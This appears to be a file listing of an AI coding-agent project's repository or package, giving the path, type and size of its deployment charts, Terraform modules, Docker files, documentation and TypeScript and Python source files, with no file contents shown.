  • deploy/helm/autonomi/templates/NOTES.txtdoc1,083 bytes
  • deploy/helm/autonomi/templates/_helpers.tplasset10,411 bytes
  • deploy/helm/autonomi/templates/configmap.yamlasset1,217 bytes
  • deploy/helm/autonomi/templates/control-token-secret.yamlasset1,809 bytes
  • deploy/helm/autonomi/templates/deployment-controlplane.yamlasset6,417 bytes
  • deploy/helm/autonomi/templates/deployment-worker.yamlasset6,143 bytes
  • deploy/helm/autonomi/templates/hpa-worker.yamlasset1,267 bytes
  • deploy/helm/autonomi/templates/ingress.yamlasset1,051 bytes
  • deploy/helm/autonomi/templates/job-worker.yamlasset9,410 bytes
  • deploy/helm/autonomi/templates/keda-scaledjob.yamlasset6,161 bytes
  • deploy/helm/autonomi/templates/keda-scaledobject.yamlasset1,326 bytes
  • deploy/helm/autonomi/templates/namespace.yamlasset180 bytes
  • deploy/helm/autonomi/templates/networkpolicy.yamlasset2,604 bytes
  • deploy/helm/autonomi/templates/pdb.yamlasset1,340 bytes
  • deploy/helm/autonomi/templates/pvc-audit.yamlasset1,299 bytes
  • deploy/helm/autonomi/templates/pvc-checkpoints.yamlasset597 bytes
  • deploy/helm/autonomi/templates/pvc-control-db.yamlasset584 bytes
  • deploy/helm/autonomi/templates/rbac.yamlasset944 bytes
  • deploy/helm/autonomi/templates/secret.yamlasset962 bytes
  • deploy/helm/autonomi/templates/service-controlplane.yamlasset436 bytes
  • deploy/helm/autonomi/templates/service-worker.yamlasset543 bytes
  • deploy/helm/autonomi/templates/serviceaccount.yamlasset357 bytes
  • deploy/helm/autonomi/templates/servicemonitor.yamlasset1,059 bytes
  • deploy/helm/autonomi/templates/tests/test-controlplane-health.yamlasset3,570 bytes
  • deploy/helm/autonomi/tests/test-connection.yamlasset598 bytes
  • deploy/helm/autonomi/tests/test-health.yamlasset763 bytes
  • deploy/helm/autonomi/values-ha.yamlasset2,336 bytes
  • deploy/helm/autonomi/values-production.yamlasset1,467 bytes
  • deploy/helm/autonomi/values.schema.jsonasset4,998 bytes
  • deploy/helm/autonomi/values.yamlasset28,280 bytes
  • deploy/helm/control-plane/Chart.yamlasset183 bytes
  • deploy/helm/control-plane/templates/_helpers.tplasset440 bytes
  • deploy/helm/control-plane/templates/deployment.yamlasset3,415 bytes
  • deploy/helm/control-plane/templates/ingress.yamlasset774 bytes
  • deploy/helm/control-plane/templates/pvc.yamlasset476 bytes
  • deploy/helm/control-plane/templates/service.yamlasset323 bytes
  • deploy/helm/control-plane/values.yamlasset1,645 bytes
  • deploy/terraform/examples/aws-eks/main.tfasset2,190 bytes
  • deploy/terraform/examples/aws-eks/terraform.tfvars.exampleasset939 bytes
  • deploy/terraform/examples/azure-aks/main.tfasset2,252 bytes
  • deploy/terraform/examples/azure-aks/terraform.tfvars.exampleasset854 bytes
  • deploy/terraform/examples/gcp-gke/main.tfasset2,011 bytes
  • deploy/terraform/examples/gcp-gke/terraform.tfvars.exampleasset871 bytes
  • deploy/terraform/modules/aws-ecs/main.tfasset8,865 bytes
  • deploy/terraform/modules/aws-ecs/outputs.tfasset848 bytes
  • deploy/terraform/modules/aws-ecs/variables.tfasset5,501 bytes
  • deploy/terraform/modules/aws-ecs/versions.tfasset276 bytes
  • deploy/terraform/modules/aws/README.mddoc2,256 bytes
  • deploy/terraform/modules/aws/main.tfasset20,245 bytes
  • deploy/terraform/modules/aws/outputs.tfasset1,082 bytes
  • deploy/terraform/modules/aws/variables.tfasset3,323 bytes
  • deploy/terraform/modules/aws/versions.tfasset469 bytes
  • deploy/terraform/modules/azure/README.mddoc2,146 bytes
  • deploy/terraform/modules/azure/main.tfasset7,320 bytes
  • deploy/terraform/modules/azure/outputs.tfasset1,082 bytes
  • deploy/terraform/modules/azure/variables.tfasset3,277 bytes
  • deploy/terraform/modules/azure/versions.tfasset402 bytes
  • deploy/terraform/modules/gcp/README.mddoc2,039 bytes
  • deploy/terraform/modules/gcp/main.tfasset9,011 bytes
  • deploy/terraform/modules/gcp/outputs.tfasset824 bytes
  • deploy/terraform/modules/gcp/variables.tfasset3,420 bytes
  • deploy/terraform/modules/gcp/versions.tfasset400 bytes
  • docker/.env.exampleasset1,966 bytes
  • docker/Dockerfileruns12,199 bytes
  • docker/Dockerfile.control-planeasset2,347 bytes
  • docker/Dockerfile.sandboxasset15,137 bytes
  • docker/docker-compose.ymlasset12,277 bytes
  • docs/.nojekyllasset0 bytes
  • docs/404.htmlasset1,955 bytes
  • docs/AGENT-CHANGE-RECEIPT.mddoc4,510 bytes
  • docs/ARCHITECTURE.mddoc18,525 bytes
  • docs/AUDIT-CHAIN-THREAT-MODEL.mddoc6,311 bytes
  • docs/CLI-CORE-VERBS.mddoc5,598 bytes
  • docs/CLI-INVENTORY.mddoc11,142 bytes
  • docs/CLI-REFERENCE.mddoc9,286 bytes
  • docs/COMPARE-OPENCODE.mddoc8,425 bytes
  • docs/COMPONENTS.mddoc16,591 bytes
  • docs/DEPLOY-PLAN.mddoc16,205 bytes
  • docs/DEPLOYMENT.mddoc22,437 bytes
  • docs/DOCKER.mddoc19,149 bytes
  • docs/INSTALLATION.mddoc11,406 bytes
  • docs/KNOWN-ISSUES.mddoc1,511 bytes
  • docs/LICENSE-CHANGE-NOTICE.mddoc2,598 bytes
  • docs/OPEN-CORE-BOUNDARY.mddoc3,294 bytes
  • docs/OTEL-COLLECTOR.mddoc1,918 bytes
  • docs/PRIVACY.mddoc19,185 bytes
  • docs/PROOF-PASSPORT.mddoc8,162 bytes
  • docs/QUICKSTART.mddoc3,894 bytes
  • docs/SIGNED-RECEIPTS.mddoc12,462 bytes
  • docs/SLO.mddoc2,837 bytes
  • docs/TESTING.mddoc3,381 bytes
  • docs/TOOL-INTEGRATION.mddoc6,891 bytes
  • docs/TOOLS.mddoc27,271 bytes
  • docs/WORKSPACES.mddoc8,624 bytes
  • docs/acp-editors.mddoc947 bytes
  • docs/air-gapped.mddoc5,653 bytes
  • docs/alternative-installations.mddoc12,634 bytes
  • docs/api-runs-v1.mddoc852 bytes
  • docs/architecture/ADR-001-runtime-migration.mddoc14,505 bytes
  • docs/audit-logging.mddoc14,094 bytes
  • docs/authentication.mddoc11,408 bytes
  • docs/authorization.mddoc11,956 bytes
  • docs/brownfield.mddoc5,359 bytes
  • docs/control-plane-container.mddoc2,041 bytes
  • docs/control-plane-migration.mddoc6,322 bytes
  • docs/cost-controls.mddoc12,039 bytes
  • docs/dev/architecture-reference.mddoc29,701 bytes
  • docs/dev/project-structure.mddoc7,841 bytes
  • docs/dev/release-checklist.mddoc7,551 bytes
  • docs/dev/tmp-cleanup.mddoc6,506 bytes
  • docs/environment-variables.mddoc22,211 bytes
  • docs/examples/loki-issue-to-pr.yml.exampleasset21,954 bytes
  • docs/exit-codes.mddoc29,500 bytes
  • docs/git-workflow.mddoc7,811 bytes
  • docs/image-provenance.mddoc7,567 bytes
  • docs/index.htmlasset1,960 bytes
  • docs/loki.yaml.exampleasset1,606 bytes
  • docs/merge-queue.mddoc1,752 bytes
  • docs/metrics.mddoc14,134 bytes
  • docs/mobile-verify.mddoc607 bytes
  • docs/network-security.mddoc7,060 bytes
  • docs/overview.htmlasset30,381 bytes
  • docs/sentry-intake.mddoc6,413 bytes
  • docs/siem-integration.mddoc17,917 bytes
  • docs/slack.mddoc3,255 bytes
  • docs/spec-first-intent.mddoc4,822 bytes
  • docs/trackers.mddoc4,532 bytes
  • docs/v10/GUIDE-MODERNIZE.mddoc4,467 bytes
  • docs/v10/GUIDE.mddoc31,205 bytes
  • docs/visual-evidence.mddoc1,036 bytes
  • events/__init__.pyruns611 bytes
  • events/bus.pyruns21,475 bytes
  • events/bus.tsruns11,225 bytes
  • events/emit.shruns19,006 bytes
  • glama.jsonasset100 bytes
  • helm/loki-mode/.helmignoreasset80 bytes
  • helm/loki-mode/Chart.yamlasset1,533 bytes
  • helm/loki-mode/templates/_helpers.tplasset2,709 bytes
  • helm/loki-mode/templates/networkpolicy.yamlasset4,300 bytes
  • helm/loki-mode/templates/receiver-configmap.yamlasset1,646 bytes
  • helm/loki-mode/templates/receiver-deployment.yamlasset6,103 bytes
  • helm/loki-mode/templates/receiver-service.yamlasset1,730 bytes
  • helm/loki-mode/templates/redis.yamlasset4,007 bytes
  • helm/loki-mode/templates/secret.yamlasset2,113 bytes
  • helm/loki-mode/templates/serviceaccount.yamlasset701 bytes
  • helm/loki-mode/templates/tests/test-receiver-health.yamlasset2,046 bytes
  • helm/loki-mode/templates/worker-deployment.yamlasset6,320 bytes
  • helm/loki-mode/templates/worker-hpa.yamlasset2,609 bytes
  • helm/loki-mode/values.yamlasset15,589 bytes
  • integrations/vibe-kanban.mddoc7,748 bytes
  • learning/__init__.pyruns3,485 bytes
  • learning/aggregate.shruns7,336 bytes
  • learning/aggregator.pyruns40,356 bytes
  • learning/emit.shruns15,656 bytes
  • learning/emitter.pyruns16,138 bytes
  • learning/signals.pyruns22,677 bytes
  • learning/signals.tsruns21,866 bytes
  • learning/suggest.shruns6,675 bytes
  • learning/suggestions.pyruns27,793 bytes
  • loki-ts/.gitignoreasset38 bytes
  • loki-ts/.npmignoreasset254 bytes
  • loki-ts/README.mddoc1,625 bytes
  • loki-ts/bun.lockasset27,977 bytes
  • loki-ts/data/child-env.jsonasset8,213 bytes
  • loki-ts/data/code-review-schema.jsonasset2,286 bytes
  • loki-ts/data/council-v2-schema.jsonasset1,774 bytes
  • loki-ts/data/done-recognition-schema.jsonasset2,429 bytes
  • loki-ts/data/finding-schema.jsonasset4,274 bytes
  • loki-ts/data/model-pricing.jsonasset4,404 bytes
  • loki-ts/data/requirements-verdict-schema.jsonasset1,596 bytes
  • loki-ts/data/resvg.wasmasset2,478,606 bytes
  • loki-ts/data/router-shape-defaults.jsonasset110 bytes
  • loki-ts/dist/cockpit.jsruns21,294 bytes
  • loki-ts/dist/cockpit.js.mapasset73,344 bytes
  • loki-ts/dist/loki.jsruns3,427,755 bytes
  • loki-ts/dist/loki.js.mapasset10,316,441 bytes
  • loki-ts/package.jsonruns1,114 bytes
  • loki-ts/scripts/build.tsruns8,865 bytes
  • loki-ts/scripts/gen-cli-modern-doc.tsruns329 bytes
  • loki-ts/scripts/gen-command-lists.tsruns1,104 bytes
  • loki-ts/src/cli.tsruns23,295 bytes
  • loki-ts/src/cli/completions.tsruns16,617 bytes
  • loki-ts/src/cli/inventory_doc.tsruns3,028 bytes
  • loki-ts/src/cli/registry.tsruns31,672 bytes
  • loki-ts/src/cockpit/capability.tsruns1,522 bytes
  • loki-ts/src/cockpit/cli.tsruns3,578 bytes
  • loki-ts/src/cockpit/encode.tsruns2,876 bytes
  • loki-ts/src/cockpit/raster.tsruns6,314 bytes
  • loki-ts/src/cockpit/render.tsruns2,043 bytes
  • loki-ts/src/cockpit/svg.tsruns13,966 bytes
  • loki-ts/src/commands/completion.tsruns1,376 bytes
  • loki-ts/src/commands/control.tsruns16,741 bytes
  • loki-ts/src/commands/crash.tsruns10,340 bytes
  • loki-ts/src/commands/doctor.tsruns110,630 bytes
  • loki-ts/src/commands/doctor_fix.tsruns7,487 bytes
  • loki-ts/src/commands/export_sarif.tsruns7,260 bytes
  • loki-ts/src/commands/internal_exec_manifest.tsruns1,818 bytes
  • loki-ts/src/commands/internal_phase1.tsruns13,342 bytes
  • loki-ts/src/commands/internal_sdk_judge.tsruns7,335 bytes
  • loki-ts/src/commands/issues_epic.tsruns19,471 bytes
  • loki-ts/src/commands/issues_run.tsruns38,247 bytes
  • loki-ts/src/commands/kpis.tsruns4,809 bytes
  • loki-ts/src/commands/memory.tsruns15,756 bytes
  • loki-ts/src/commands/proof.tsruns46,388 bytes
  • loki-ts/src/commands/provider.tsruns9,464 bytes
  • loki-ts/src/commands/queue.tsruns22,470 bytes
  • loki-ts/src/commands/rollback.tsruns11,079 bytes
  • loki-ts/src/commands/run_status.tsruns19,296 bytes
  • loki-ts/src/commands/start.tsruns47,672 bytes
  • loki-ts/src/commands/stats.tsruns25,011 bytes
  • loki-ts/src/commands/status.tsruns41,633 bytes
  • loki-ts/src/commands/trust.tsruns16,808 bytes
  • loki-ts/src/commands/undo.tsruns16,339 bytes
  • loki-ts/src/commands/undo_apply.tsruns10,371 bytes
  • loki-ts/src/commands/verify_pr.tsruns29,117 bytes
  • loki-ts/src/commands/version.tsruns1,827 bytes
  • loki-ts/src/commands/wiki.tsruns5,551 bytes
  • loki-ts/src/contrib/ai_bom.tsruns5,335 bytes
  • loki-ts/src/contrib/brief_facts.tsruns1,773 bytes
  • loki-ts/src/contrib/cost_records.tsruns7,116 bytes
  • loki-ts/src/contrib/effort_policy.tsruns1,474 bytes
  • loki-ts/src/contrib/eta.tsruns2,700 bytes
  • loki-ts/src/contrib/forecast.tsruns4,952 bytes
  • loki-ts/src/contrib/index.tsruns1,856 bytes
  • loki-ts/src/contrib/plan_cmd.tsruns2,613 bytes
  • loki-ts/src/contrib/receipt_time.tsruns3,924 bytes
  • loki-ts/src/contrib/runtime_evidence.tsruns3,679 bytes
  • loki-ts/src/contrib/sarif.tsruns3,631 bytes
  • loki-ts/src/contrib/slack_inbound.tsruns19,903 bytes
  • loki-ts/src/contrib/stage_capability.tsruns7,206 bytes
  • loki-ts/src/contrib/status.tsruns419 bytes
  • loki-ts/src/contrib/verify_pr_f2p.tsruns5,417 bytes
  • loki-ts/src/contrib/wall_snapshot.tsruns3,646 bytes
  • loki-ts/src/council/finding_schema.tsruns20,932 bytes
  • loki-ts/src/council/role_agents.tsruns5,145 bytes
  • loki-ts/src/e10ext/assert_delta.tsruns11,939 bytes
  • loki-ts/src/e10ext/budget_cap.tsruns12,540 bytes
  • loki-ts/src/e10ext/commit_filter.tsruns7,619 bytes
  • loki-ts/src/e10ext/compound_match.tsruns3,927 bytes
  • loki-ts/src/e10ext/context.tsruns7,887 bytes
  • loki-ts/src/e10ext/discard.tsruns4,972 bytes
  • loki-ts/src/e10ext/liveline.tsruns3,520 bytes
  • loki-ts/src/e10ext/preexisting_dirty.tsruns3,231 bytes
  • loki-ts/src/e10ext/repomemory.tsruns2,428 bytes
  • loki-ts/src/e10ext/reviewer_body.tsruns7,264 bytes
  • loki-ts/src/e10ext/scope.tsruns4,552 bytes
  • loki-ts/src/e10ext/select.tsruns10,296 bytes
  • loki-ts/src/e10ext/ship_hook.tsruns1,112 bytes
  • loki-ts/src/e10ext/stop_restore.tsruns1,317 bytes
  • loki-ts/src/e10ext/treeswap.tsruns19,493 bytes
  • loki-ts/src/e10ext/wall_hints.tsruns4,228 bytes
  • loki-ts/src/engine10/already_done.tsruns2,428 bytes
  • loki-ts/src/engine10/cache.tsruns7,323 bytes
  • loki-ts/src/engine10/cli.tsruns5,796 bytes
  • loki-ts/src/engine10/cost.tsruns14,215 bytes
  • loki-ts/src/engine10/events.tsruns10,429 bytes
  • loki-ts/src/engine10/failures.tsruns5,469 bytes
  • loki-ts/src/engine10/fetch_issue.tsruns7,813 bytes
  • loki-ts/src/engine10/hooks.tsruns2,026 bytes
  • loki-ts/src/engine10/integrate.tsruns6,747 bytes
  • loki-ts/src/engine10/keys_cmd.tsruns2,548 bytes
  • loki-ts/src/engine10/machine.tsruns31,008 bytes
  • loki-ts/src/engine10/modernize/cli.tsruns11,097 bytes
  • loki-ts/src/engine10/modernize/cluster.tsruns5,451 bytes
  • loki-ts/src/engine10/modernize/codemod.tsruns3,330 bytes
  • loki-ts/src/engine10/modernize/dashboard.tsruns2,951 bytes
  • loki-ts/src/engine10/modernize/equiv.tsruns18,255 bytes
  • loki-ts/src/engine10/modernize/estimate.tsruns2,577 bytes
  • loki-ts/src/engine10/modernize/inventory.tsruns3,394 bytes
  • loki-ts/src/engine10/modernize/lang/java.tsruns9,155 bytes
  • loki-ts/src/engine10/modernize/lang/python.tsruns2,691 bytes
  • loki-ts/src/engine10/modernize/log.tsruns1,238 bytes
  • loki-ts/src/engine10/modernize/oracle/java.tsruns9,913 bytes
  • loki-ts/src/engine10/modernize/oracle/seal.tsruns13,110 bytes
  • loki-ts/src/engine10/modernize/oracle/search.tsruns14,457 bytes
  • loki-ts/src/engine10/modernize/presealed_wall.tsruns13,690 bytes
  • loki-ts/src/engine10/modernize/report.tsruns7,993 bytes
  • loki-ts/src/engine10/modernize/reslice.tsruns6,370 bytes
  • loki-ts/src/engine10/modernize/resume.tsruns7,050 bytes
  • loki-ts/src/engine10/modernize/routes.tsruns3,222 bytes
  • loki-ts/src/engine10/modernize/scheduler.tsruns15,004 bytes
  • loki-ts/src/engine10/modernize/ship.tsruns4,946 bytes
  • loki-ts/src/engine10/modernize/targets/java21.tsruns2,089 bytes
  • loki-ts/src/engine10/modernize/targets/python3.tsruns1,717 bytes
  • loki-ts/src/engine10/modernize/types.tsruns3,836 bytes
  • loki-ts/src/engine10/modernize/unit.tsruns20,603 bytes
  • loki-ts/src/engine10/modernize/wave.tsruns7,900 bytes
  • loki-ts/src/engine10/output.tsruns17,330 bytes
  • loki-ts/src/engine10/pr_body.tsruns1,347 bytes
  • loki-ts/src/engine10/preflight.tsruns10,036 bytes
  • loki-ts/src/engine10/registry.tsruns2,142 bytes
  • loki-ts/src/engine10/relevant_files.tsruns1,046 bytes
  • loki-ts/src/engine10/repomap.tsruns3,808 bytes
  • loki-ts/src/engine10/session.tsruns24,676 bytes
  • loki-ts/src/engine10/sizing.tsruns10,934 bytes
  • loki-ts/src/engine10/stages/commit.tsruns127 bytes
  • loki-ts/src/engine10/stages/deep.tsruns19,765 bytes
  • loki-ts/src/engine10/stages/fix.tsruns8,815 bytes
  • loki-ts/src/engine10/stages/implement.tsruns17,086 bytes
  • loki-ts/src/engine10/stages/intake.tsruns16,745 bytes
  • loki-ts/src/engine10/stages/plan.tsruns10,166 bytes
  • loki-ts/src/engine10/stages/pr.tsruns17,195 bytes
  • loki-ts/src/engine10/stages/seal.tsruns46,593 bytes
  • loki-ts/src/engine10/stages/verify.tsruns62,381 bytes
  • loki-ts/src/engine10/stages/wall.tsruns37,501 bytes
  • loki-ts/src/engine10/stages/xreview.tsruns15,501 bytes
  • loki-ts/src/engine10/supervisor.tsruns57,259 bytes
  • loki-ts/src/engine10/testmap.tsruns12,178 bytes
  • loki-ts/src/engine10/types.tsruns20,068 bytes
  • loki-ts/src/engine10/verify_cmd.tsruns34,539 bytes
  • loki-ts/src/engine10/worker.tsruns9,734 bytes
  • loki-ts/src/features/attempts.tsruns10,202 bytes
  • loki-ts/src/features/blocked_answer.tsruns5,382 bytes
  • loki-ts/src/features/contract.tsruns23,793 bytes
  • loki-ts/src/features/decompose.tsruns11,306 bytes
  • loki-ts/src/features/dependents.tsruns4,909 bytes
  • loki-ts/src/features/lean_prefix.tsruns2,165 bytes
  • loki-ts/src/features/receipt_dsse.tsruns10,952 bytes
  • loki-ts/src/features/runner_config.tsruns22,385 bytes
  • loki-ts/src/features/spec_ambiguity.tsruns4,872 bytes
  • loki-ts/src/features/speed/already_done_async.tsruns5,982 bytes
  • loki-ts/src/features/speed/decompose_check.tsruns5,785 bytes
  • loki-ts/src/features/speed/fix_units.tsruns6,392 bytes
  • loki-ts/src/features/speed/group_grid.tsruns2,550 bytes
  • loki-ts/src/features/speed/group_output.tsruns5,360 bytes
  • loki-ts/src/features/speed/lean_select.tsruns1,939 bytes
  • loki-ts/src/features/speed/route.tsruns9,499 bytes
  • loki-ts/src/features/speed/run_group.tsruns30,130 bytes
  • loki-ts/src/features/speed/seal_group.tsruns11,882 bytes
  • loki-ts/src/features/speed/unit_mode.tsruns9,431 bytes
  • loki-ts/src/features/tracker_intake.tsruns17,563 bytes
  • loki-ts/src/features/triage.tsruns8,882 bytes
  • loki-ts/src/features/untouched_untracked.tsruns1,095 bytes
  • loki-ts/src/features/visual_evidence.tsruns19,845 bytes
  • loki-ts/src/features/wall_manifest.tsruns14,299 bytes
  • loki-ts/src/features/wall_manifest_wire.tsruns6,580 bytes
  • loki-ts/src/features/warm.tsruns5,916 bytes
  • loki-ts/src/features/warm_client.tsruns2,869 bytes
  • loki-ts/src/integrations/before_after.tsruns6,455 bytes
  • loki-ts/src/integrations/writeback.tsruns5,330 bytes
  • loki-ts/src/metrics/kpis.tsruns21,167 bytes
  • loki-ts/src/metrics/trust.tsruns25,418 bytes
  • loki-ts/src/project_graph.tsruns9,388 bytes
  • loki-ts/src/project_model/api.tsruns3,773 bytes
  • loki-ts/src/project_model/conventions.tsruns48,796 bytes
  • loki-ts/src/project_model/discover.tsruns17,867 bytes
  • loki-ts/src/project_model/gather.tsruns6,257 bytes
  • loki-ts/src/project_model/graph.tsruns1,348 bytes
  • loki-ts/src/project_model/install.tsruns24,656 bytes
  • loki-ts/src/project_model/linguist.tsruns7,580 bytes
  • loki-ts/src/project_model/linguist_rules.jsonasset7,069 bytes
  • loki-ts/src/project_model/package_suite.tsruns9,767 bytes
  • loki-ts/src/project_model/resolve.tsruns2,811 bytes
  • loki-ts/src/project_model/schema.tsruns10,196 bytes
  • loki-ts/src/project_model/scope.tsruns3,691 bytes
  • loki-ts/src/providers/claude_flags.tsruns59,409 bytes
  • loki-ts/src/providers/mcp_config.tsruns10,781 bytes
  • loki-ts/src/providers/model_routes.tsruns9,611 bytes
  • loki-ts/src/providers/price_table.tsruns5,955 bytes
  • loki-ts/src/providers/provider_cost.tsruns11,678 bytes
  • loki-ts/src/providers/provider_guard.tsruns13,131 bytes
  • loki-ts/src/runner/attempts.tsruns21,945 bytes
  • loki-ts/src/runner/budget.tsruns24,101 bytes
  • loki-ts/src/runner/checkpoint.tsruns28,539 bytes
  • loki-ts/src/runner/counter_evidence.tsruns11,775 bytes
  • loki-ts/src/runner/crash.tsruns10,143 bytes
  • loki-ts/src/runner/engine10_dashboard.tsruns16,154 bytes
  • loki-ts/src/runner/episode_bridge.tsruns4,219 bytes
  • loki-ts/src/runner/escalation_handoff.tsruns7,463 bytes
  • loki-ts/src/runner/exec_manifest.tsruns8,622 bytes
  • loki-ts/src/runner/findings_injector.tsruns7,813 bytes
  • loki-ts/src/runner/github_token.tsruns10,927 bytes
  • loki-ts/src/runner/host_guard.tsruns11,702 bytes
  • loki-ts/src/runner/learnings_writer.tsruns10,684 bytes
  • loki-ts/src/runner/load_owner.tsruns9,281 bytes
  • loki-ts/src/runner/model_downgrades.tsruns3,154 bytes
  • loki-ts/src/runner/model_rank.tsruns4,592 bytes
  • loki-ts/src/runner/oauth_dev.tsruns3,903 bytes
  • loki-ts/src/runner/provider_failover.tsruns4,184 bytes
  • loki-ts/src/runner/provider_opencode.tsruns2,407 bytes
  • loki-ts/src/runner/providers.tsruns54,221 bytes
  • loki-ts/src/runner/repo_profile.tsruns47,004 bytes
  • loki-ts/src/runner/retry_class.tsruns11,799 bytes
  • loki-ts/src/runner/router/advisor_probe.tsruns4,215 bytes
  • loki-ts/src/runner/router/cost_preview.tsruns13,463 bytes
  • loki-ts/src/runner/router/decision.tsruns11,685 bytes
  • loki-ts/src/runner/router/flag.tsruns2,792 bytes
  • loki-ts/src/runner/router/history.tsruns9,725 bytes
  • loki-ts/src/runner/router/history_store.tsruns6,525 bytes
  • loki-ts/src/runner/router/implement_route.tsruns2,507 bytes
  • loki-ts/src/runner/router/plan_route.tsruns5,527 bytes
  • loki-ts/src/runner/router/route_block.tsruns11,286 bytes
  • loki-ts/src/runner/router/route_record.tsruns3,436 bytes
  • loki-ts/src/runner/router/session_route.tsruns2,550 bytes
  • loki-ts/src/runner/router/unit_model.tsruns9,146 bytes
  • loki-ts/src/runner/runner_errors.tsruns4,315 bytes
  • loki-ts/src/runner/sdk_invoker.tsruns24,068 bytes
  • loki-ts/src/runner/sdk_mode.tsruns4,282 bytes
  • loki-ts/src/runner/sdk_stream_parser.tsruns42,721 bytes
  • loki-ts/src/runner/session_resume.tsruns13,091 bytes
  • loki-ts/src/runner/state.tsruns25,714 bytes
  • loki-ts/src/runner/stop_checks.tsruns8,537 bytes
  • loki-ts/src/runner/trim.tsruns6,485 bytes
  • loki-ts/src/runner/types.tsruns4,454 bytes
  • loki-ts/src/runner/watchdog.tsruns2,756 bytes
  • loki-ts/src/runner/worker_proc.tsruns10,819 bytes
  • loki-ts/src/supply/supply_guard.tsruns15,397 bytes
  • loki-ts/src/util/already_done_evidence.tsruns9,584 bytes
  • loki-ts/src/util/anti_loop.tsruns4,539 bytes
  • loki-ts/src/util/app_probe.tsruns7,381 bytes
  • loki-ts/src/util/atomic.tsruns14,525 bytes
  • loki-ts/src/util/base_guard.tsruns38,110 bytes
  • loki-ts/src/util/check_result.tsruns180,925 bytes
  • loki-ts/src/util/child_ledger.tsruns15,381 bytes
  • loki-ts/src/util/claude_model.tsruns8,081 bytes
  • loki-ts/src/util/colors.tsruns1,299 bytes
  • loki-ts/src/util/composite_seal.tsruns13,486 bytes
  • loki-ts/src/util/conflict_resume.tsruns36,618 bytes
  • loki-ts/src/util/context_pack.tsruns26,392 bytes
  • loki-ts/src/util/cost_breakdown.tsruns14,527 bytes
  • loki-ts/src/util/cost_profile.tsruns2,827 bytes
  • loki-ts/src/util/credential_env.tsruns5,102 bytes
  • loki-ts/src/util/dashboard_page.tsruns8,783 bytes
  • loki-ts/src/util/deprecated_alias.tsruns2,200 bytes
  • loki-ts/src/util/dotnet_test.tsruns4,859 bytes
  • loki-ts/src/util/engine_origin.tsruns6,521 bytes
  • loki-ts/src/util/failure_memory.tsruns7,682 bytes
  • loki-ts/src/util/first_run_repo.tsruns3,378 bytes
  • loki-ts/src/util/funnel.tsruns11,617 bytes
  • loki-ts/src/util/group_integrate.tsruns4,735 bytes
  • loki-ts/src/util/holdout.tsruns7,154 bytes
  • loki-ts/src/util/intent_card.tsruns8,985 bytes
  • loki-ts/src/util/js_resolve.tsruns4,461 bytes
  • loki-ts/src/util/lock_ecosystems.tsruns22,959 bytes
  • loki-ts/src/util/modernize_coordinator.tsruns19,413 bytes
  • loki-ts/src/util/modernize_unit.tsruns21,497 bytes
  • loki-ts/src/util/mutation_proof.tsruns9,280 bytes
  • loki-ts/src/util/one_line_goal.tsruns4,109 bytes
  • loki-ts/src/util/outbox.tsruns2,432 bytes
  • loki-ts/src/util/paths.tsruns1,987 bytes
  • loki-ts/src/util/pr_lessons.tsruns63,831 bytes
  • loki-ts/src/util/producer_fingerprint.tsruns1,996 bytes
  • loki-ts/src/util/python.tsruns24,740 bytes
  • loki-ts/src/util/python_build_check.tsruns9,090 bytes
  • loki-ts/src/util/receipt_bundle.tsruns17,930 bytes
  • loki-ts/src/util/receipt_signer.tsruns27,657 bytes
  • loki-ts/src/util/receipt_surface.tsruns6,665 bytes
  • loki-ts/src/util/redact.tsruns10,765 bytes
  • loki-ts/src/util/relevance.tsruns5,314 bytes
  • loki-ts/src/util/reviewer_brief.tsruns20,778 bytes
  • loki-ts/src/util/run_cap.tsruns7,259 bytes
  • loki-ts/src/util/run_control.tsruns3,927 bytes
  • loki-ts/src/util/run_identity.tsruns4,875 bytes
  • loki-ts/src/util/run_outputs.tsruns79,446 bytes
  • loki-ts/src/util/run_pid.tsruns5,576 bytes
  • loki-ts/src/util/run_shape.tsruns726 bytes
  • loki-ts/src/util/run_summary.tsruns25,582 bytes
  • loki-ts/src/util/runner_boot.tsruns1,503 bytes
  • loki-ts/src/util/safe_git.tsruns31,191 bytes
  • loki-ts/src/util/satisfaction.tsruns3,158 bytes
  • loki-ts/src/util/seal_drift.tsruns22,712 bytes
  • loki-ts/src/util/secure_scan.tsruns15,947 bytes
  • loki-ts/src/util/shell.tsruns7,889 bytes
  • loki-ts/src/util/skill_checks.tsruns6,804 bytes
  • loki-ts/src/util/slack_events.tsruns6,257 bytes
  • loki-ts/src/util/spec_file.tsruns24,134 bytes
  • loki-ts/src/util/stack_tools.tsruns8,619 bytes
  • loki-ts/src/util/steer.tsruns19,498 bytes
  • loki-ts/src/util/term_width.tsruns4,576 bytes
  • loki-ts/src/util/test_file_text.tsruns12,273 bytes
  • loki-ts/src/util/test_guard.tsruns4,168 bytes
  • loki-ts/src/util/tier.tsruns2,343 bytes
  • loki-ts/src/util/ts_signatures.tsruns23,270 bytes
  • loki-ts/src/util/update_check.tsruns14,196 bytes
  • loki-ts/src/util/wall_cases.tsruns21,471 bytes
  • loki-ts/src/util/wall_knobs.tsruns2,041 bytes
  • loki-ts/src/util/wall_owned.tsruns7,798 bytes
  • loki-ts/src/util/yaml_key.tsruns2,962 bytes
  • loki-ts/src/version.tsruns1,644 bytes
  • loki-ts/tests/fixtures/cli-registry-known-gaps.txtdoc2,555 bytes
  • loki-ts/tsconfig.jsonasset633 bytes
  • lokistore/__init__.pyruns2,407 bytes
  • lokistore/base.pyruns5,950 bytes
  • lokistore/cloud.pyruns12,739 bytes
  • lokistore/factory.pyruns7,214 bytes
  • lokistore/local.pyruns9,003 bytes
  • magic/__init__.pyruns241 bytes
  • magic/core/__init__.pyruns0 bytes
  • magic/core/debate.pyruns29,504 bytes
  • magic/core/design_tokens.pyruns16,337 bytes
  • magic/core/freshness.pyruns2,643 bytes
  • magic/core/generator.pyruns28,526 bytes
  • magic/core/memory_bridge.pyruns7,744 bytes
  • magic/core/prd_scanner.pyruns8,869 bytes
  • magic/core/registry.pyruns12,349 bytes
  • magic/core/spec.pyruns11,316 bytes
  • magic/debate/personas/a11y.mddoc5,047 bytes
  • magic/debate/personas/conservative.mddoc4,022 bytes
  • magic/debate/personas/creative.mddoc3,590 bytes
  • magic/debate/personas/performance.mddoc4,963 bytes
  • magic/registry/schema.jsonasset1,461 bytes
  • magic/tokens/README.mddoc2,593 bytes
  • magic/tokens/defaults.jsonasset1,374 bytes
  • mcp/__init__.pyruns2,918 bytes
  • mcp/_sdk_loader.pyruns7,042 bytes
  • mcp/cp_tools.pyruns15,254 bytes
  • mcp/learning_collector.pyruns21,911 bytes
  • mcp/lsp_proxy.pyruns71,753 bytes
